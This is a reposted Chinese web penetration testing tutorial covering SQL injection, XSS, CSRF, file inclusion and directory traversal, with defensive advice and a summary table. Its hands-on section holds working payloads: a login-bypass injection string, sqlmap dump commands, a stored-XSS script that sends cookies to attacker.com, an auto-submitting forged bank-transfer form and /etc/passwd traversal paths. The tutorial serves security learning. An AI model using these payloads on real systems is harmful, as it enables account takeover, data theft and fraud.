web渗透——小白入狱

🕗 发布于 2024-11-07 07:25 网络 web安全

在这里插入图片描述

理论知识总结

一、Web渗透核心知识点

Web渗透基础概念
- Web渗透测试：测试Web应用的安全性，通过模拟攻击手段查找应用的漏洞，保护数据和用户信息。
- 常见攻击类型：SQL注入、跨站脚本（XSS）、跨站请求伪造（CSRF）、文件包含、目录遍历等。
- 攻击流程：信息收集、漏洞扫描、漏洞利用、权限提升、数据泄露或控制等。
信息收集
- 目标信息：收集网站的域名、IP、端口、操作系统、开放端口和应用程序等信息。
- 工具：WHOIS、nslookup、Nmap、Shodan、Google hacking。
- 实操步骤：使用Nmap扫描目标IP和端口，分析目标的操作系统和开放服务。
SQL注入（SQL Injection）
- 原理：攻击者通过恶意SQL代码操控数据库，从而实现数据泄露、用户身份绕过等。
- 检测方法：手动测试、SQLMap、Burp Suite等。
- 实操案例：使用SQLMap工具测试并注入数据库，提取敏感信息。
跨站脚本攻击（XSS）
- 原理：通过注入恶意脚本代码，在用户浏览器中执行，从而窃取用户信息、劫持会话等。
- 类型：反射型XSS、存储型XSS、DOM型XSS。
- 防护：输入过滤、输出编码。
- 实操案例：利用存储型XSS在留言板或评论区注入恶意JavaScript代码，从而在其他用户访问时触发脚本。
跨站请求伪造（CSRF）
- 原理：攻击者伪造用户的请求执行未授权操作，利用用户的身份权限发起恶意请求。
- 检测方法：手动验证CSRF漏洞的存在，或者使用Burp Suite。
- 防护：使用CSRF Token、检查Referer头、限制用户操作权限。
- 实操案例：模拟用户的身份提交请求，通过篡改请求实现恶意操作。
文件包含漏洞
- 原理：在目标网站中利用不安全的文件包含代码，使服务器加载恶意文件。
- 类型：本地文件包含（LFI）和远程文件包含（RFI）。
- 防护：限制文件包含路径，避免直接调用文件路径参数。
- 实操案例：利用LFI漏洞访问服务器上的敏感文件，如/etc/passwd。
目录遍历
- 原理：攻击者通过构造路径遍历字符，访问到Web目录外的敏感文件。
- 检测方法：手动测试不同路径或使用自动化工具扫描。
- 防护：规范文件路径，禁止目录列表输出。
- 实操案例：构造../../路径，尝试访问服务器的配置文件或用户隐私数据。
Web应用防护措施
- 输入验证和输出编码：严格检查用户输入，防止恶意输入引发的漏洞。
- 加密敏感信息：对存储在数据库中的敏感数据进行加密处理，如用户密码、Token等。
- 防火墙和IDS/IPS：使用Web应用防火墙（WAF）和入侵检测系统（IDS）进行流量监控。
- 安全开发生命周期（SDLC）：在开发过程中引入安全检测环节，避免漏洞。

二、Web渗透实操案例

案例1：SQL注入
- 目标：某在线商城网站。
- 步骤：
  1. 使用Burp Suite拦截登录请求，检查SQL注入漏洞。
  2. 在登录参数中尝试输入' OR 1=1 --等语句。
  3. 通过SQLMap进行自动化注入测试，进一步提取数据库信息。
- 结果：成功获取到用户名和密码的哈希值。
案例2：反射型XSS
- 目标：某社交网站的搜索框。
- 步骤：
  1. 在搜索框输入<script>alert('XSS');</script>，验证是否会在页面中反射执行。
  2. 如果搜索框未过滤，则在页面中显示弹窗，说明存在反射型XSS漏洞。
- 结果：弹窗成功显示，漏洞存在。
案例3：CSRF攻击
- 目标：某银行系统的转账功能。
- 步骤：
  1. 生成CSRF攻击代码，伪造转账请求。
  2. 在受害者打开攻击页面时自动发起请求，导致其在不知情的情况下执行转账。
- 结果：模拟转账成功，确认CSRF漏洞。
案例4：本地文件包含（LFI）
- 目标：某企业内部系统。
- 步骤：
  1. 在URL参数中尝试注入文件路径，如?file=../../../../etc/passwd。
  2. 如果服务器未限制路径，则可直接访问服务器中的敏感文件。
- 结果：成功读取到系统用户信息文件/etc/passwd。
案例5：目录遍历
- 目标：某公司官网。
- 步骤：
  1. 通过构造URL访问不同路径，例如../admin/config.php。
  2. 如果未对目录遍历进行过滤，可以访问到管理员文件夹中的敏感文件。
- 结果：成功读取到网站配置文件。

三、Web渗透学习建议

学习基础：掌握HTTP协议、HTML、JavaScript等Web基础知识，以及数据库基本操作。
熟悉常用工具：如Burp Suite、Nmap、SQLMap、Nikto等。
实践操作：通过安全实验室或靶场环境进行模拟攻击测试，如DVWA、BWAPP、Hack The Box等。
深入漏洞原理：理解漏洞产生的原因和修复方法，结合实际代码示例学习漏洞利用和修复。
法律法规意识：在渗透测试过程中严格遵循网络安全法规，确保仅在授权范围内进行测试。

实操案例

一、信息收集实操

目标：获取目标网站的基本信息，包括IP地址、子域名、开放端口和操作系统等，以便为后续渗透测试做准备。

步骤：

使用WHOIS查询：获得域名的注册信息。
- 在终端中输入以下命令：
```
whois example.com
```
- 查看域名的注册人、注册时间、DNS等信息。
使用Nslookup：获取目标域名的IP地址。
- 输入命令：
```
nslookup example.com
```
- 返回的IP地址可用于进一步的端口扫描。
使用Nmap扫描开放端口：
- 在终端中输入以下命令，扫描目标主机开放的端口：
```
nmap -sS -sV -O example.com
```
- -sS表示进行TCP SYN扫描，-sV用于检测服务版本，-O检测操作系统。
使用Gobuster查找隐藏目录：
- 在终端输入以下命令，使用字典枚举网站目录和文件：
```
gobuster dir -u http://example.com -w /path/to/wordlist.txt
```
- 找到的隐藏目录可以用于进一步测试。

二、SQL注入实操

目标：通过SQL注入技术获取数据库中的敏感数据，如用户名和密码。

步骤：

手动SQL注入测试：
- 在Web应用的输入框（如登录页面的用户名字段）输入以下常见的SQL注入语句：
```
' OR '1'='1' --
```
- 观察返回结果是否显示登录成功或数据泄露提示。如果SQL注入成功，可能会绕过验证。

使用SQLMap进行自动化注入：

使用SQLMap工具扫描并提取数据库信息：

sqlmap -u "http://example.com/login.php?id=1" --dbs

--dbs选项用于枚举数据库。

获取数据库后，可以进一步查询表和字段：

sqlmap -u "http://example.com/login.php?id=1" -D database_name --tables

最后提取数据：

sqlmap -u "http://example.com/login.php?id=1" -D database_name -T table_name --dump

三、跨站脚本攻击（XSS）实操

目标：利用XSS漏洞在用户浏览器中执行恶意JavaScript代码，以便窃取用户的Cookies或敏感信息。

步骤：

反射型XSS测试：
- 在搜索框等输入区域尝试输入以下代码：
```
<script>alert('XSS Vulnerable');</script>
```
- 如果页面反射该代码并触发弹窗，说明存在反射型XSS漏洞。
存储型XSS测试：
- 在评论区或留言板等存储型输入区域，输入以下代码：
```
<script>document.write('<img src="http://attacker.com/steal-cookie?c=' + document.cookie + '">');</script>
```
- 提交后，登录其他用户账户访问该页面，若代码执行且用户Cookie被泄露，说明存在存储型XSS漏洞。
使用Burp Suite进行XSS检测：
- 使用Burp Suite拦截请求，将输入内容替换为恶意脚本代码，发送请求，观察服务器返回的数据是否执行了代码。

四、CSRF攻击实操

目标：利用CSRF漏洞诱导受害者在未授权的情况下执行恶意请求（如转账操作）。

步骤：

构造CSRF攻击代码：

创建一个HTML文件，伪造目标网站的请求，例如转账请求：

<html>
<body>
  <form action="http://example.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="submit" value="Transfer Money">
  </form>
  <script>document.forms[0].submit();</script>
</body>
</html>

将此文件发给受害者或诱导其点击。一旦打开页面，自动提交的表单会在用户身份下完成转账操作。

Burp Suite检测CSRF：
- 使用Burp Suite拦截用户的请求，尝试对关键请求添加CSRF Token，验证请求是否会被伪造执行。

五、本地文件包含（LFI）实操

目标：通过本地文件包含漏洞读取服务器上的敏感文件（如配置文件）。

步骤：

手动测试LFI：
- 在目标URL参数中尝试输入文件路径：
```
http://example.com/page?file=../../../../etc/passwd
```
- 如果页面返回文件内容，说明存在LFI漏洞，可进一步访问敏感文件。
使用Burp Suite进行LFI检测：
- 拦截请求，将参数替换为文件路径，查看响应内容。
- 逐步更改路径深度以测试其他文件，或使用插件自动化测试。

六、目录遍历实操

目标：利用目录遍历漏洞访问到Web服务器的敏感文件和目录。

步骤：

手动测试目录遍历：
- 在URL中输入类似以下的路径，尝试访问敏感文件：
```
http://example.com/view?file=../../../../etc/hostname
```
- 若返回文件内容，说明目录遍历成功。
使用Burp Suite辅助测试：
- 在请求中使用“Repeater”模块，通过重复测试不同路径逐步尝试目录遍历。

七、工具辅助与安全环境

创建虚拟测试环境：使用Kali Linux、DVWA、Metasploitable等工具搭建本地测试环境，在虚拟机或沙盒中模拟Web渗透环境。
使用WAF绕过技术：在具备WAF的测试环境中，通过编码绕过、分块注入等手段进行WAF绕过练习。

知识点	概述	测试步骤	工具
信息收集	获取目标的基本信息，为后续渗透做准备。	1. 使用WHOIS查询域名注册信息 2. Nslookup获取IP地址 3. 使用Nmap扫描开放端口 4. 使用Gobuster查找隐藏目录	WHOIS, Nslookup, Nmap, Gobuster
SQL注入	通过注入恶意SQL语句操控数据库，实现信息泄露、登录绕过等。	1. 手动在输入框尝试注入`' OR '1'='1' --` 2. 使用SQLMap自动注入，枚举数据库和表并提取数据	SQLMap, Burp Suite
XSS（跨站脚本）	利用恶意脚本在用户浏览器中执行，窃取Cookie等信息。	1. 在输入框尝试`<script>alert('XSS');</script>` 2. 在评论区插入`<img src="http://...">`代码用于窃取Cookie	Burp Suite, 手动输入
CSRF攻击	伪造用户身份提交恶意请求，实现未授权操作。	1. 创建伪造的HTML表单，使用自动提交脚本 2. 在Burp Suite中拦截请求，分析是否存在CSRF漏洞	Burp Suite, 手动操作
文件包含漏洞	通过包含服务器上的文件，访问敏感数据。	1. 修改URL参数为`../../etc/passwd`测试LFI 2. 使用Burp Suite修改请求中的参数路径	Burp Suite, 手动输入
目录遍历	访问服务器上敏感文件或目录。	1. 构造路径`../../`访问服务器的配置文件 2. 使用Burp Suite测试不同目录路径	Burp Suite, 手动操作
Web应用防护	防止常见Web攻击，确保应用安全。	1. 对输入进行严格验证 2. 数据库信息加密 3. 使用WAF和IDS检测 4. 安全开发生命周期（SDLC）引入漏洞修复措施	WAF, IDS, 手动检查
工具辅助测试	使用自动化工具和漏洞扫描器检测Web应用的安全。	1. 配置Kali Linux等渗透环境 2. 结合Nmap、SQLMap、Burp Suite等工具进行漏洞检测和利用	Kali Linux, DVWA, Metasploitable

原文地址：https://blog.csdn.net/2301_82270827/article/details/143478958

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

上一篇：问题排查：C++ exception with description “getrandom“ thrown in the test body
下一篇：UE5.4 PCG 使用Union和Difference给菜地开路

【原创】java+ssm+mysql收纳培训网系统设计与实现
使用java+ssm+mysql开发的收纳视频培训网，系统包含超级管理员，系统管理员、培训师、用户角色，功能如下：超级管理员：管理员管理；用户管理（培训师、用户）；课程管理（课程、课程视频、评论）；预
阅读更多2024-11-07
C# 内存管理与对象生命周期在面向对象设计中的重要性
C# 通过 CLR 提供了自动的内存管理，使用堆（Heap）和栈（Stack）两种不同的内存区域来管理程序中的内存。栈（Stack）：用于存储局部变量和方法调用相关的数据。栈是一种后进先出（LIFO）
阅读更多2024-11-07
Swift 开发教程系列 - 第2章：Swift 基础语法
在这个章节中，我们将介绍 Swift 的基础语法，包括变量与常量的定义、数据类型、类型转换和操作符的使用。掌握这些基础知识能帮助你更熟练地理解和编写 Swift 代码。
阅读更多2024-11-07
【k8s】ClusterIP能http访问，但是不能ping 的原因
ClusterIP是一个虚拟 IP 地址，无法响应ping请求。你可以使用curltelnet或nc等工具来测试ClusterIP服务的连通性。kube-proxy通过iptables或ipvs规则来
阅读更多2024-11-07
代码随想录 | Day38 | 动态规划：01背包应用目标和&&一和零
代码都不难写，这真的不能怪笔者拖更，这两道题真给我整麻了。
阅读更多2024-11-07
[vulnhub]Empire: Breakout
vulnhub - Empire: Breakout
阅读更多2024-11-07
PPO(Proximal Policy Optimization)算法介绍
PPO通过引入剪辑损失函数，有效地限制了策略更新的幅度，兼顾了学习效率和更新稳定性。在RLHF中，PPO作为微调预训练语言模型的关键算法，发挥了重要作用，使得模型能够从人类反馈中高效学习，生成更符合人
阅读更多2024-11-07
Ionic Range: Building Dynamic Range Sliders for Mobile Apps
ion-range。
阅读更多2024-11-07
Flink滑动窗口（Sliding）中window和windowAll的区别
#滑动窗口的window和windowall的区别
阅读更多2024-11-07
jmeter结合ansible分布式压测--3压测执行
1、执行命令： ./jmeter-5.4.1/bin/jmeter.sh -n -t streamgwInfer/streamgw_pushUrls.jmx -R 11.xxx.xxx.48,11.x
阅读更多2024-11-07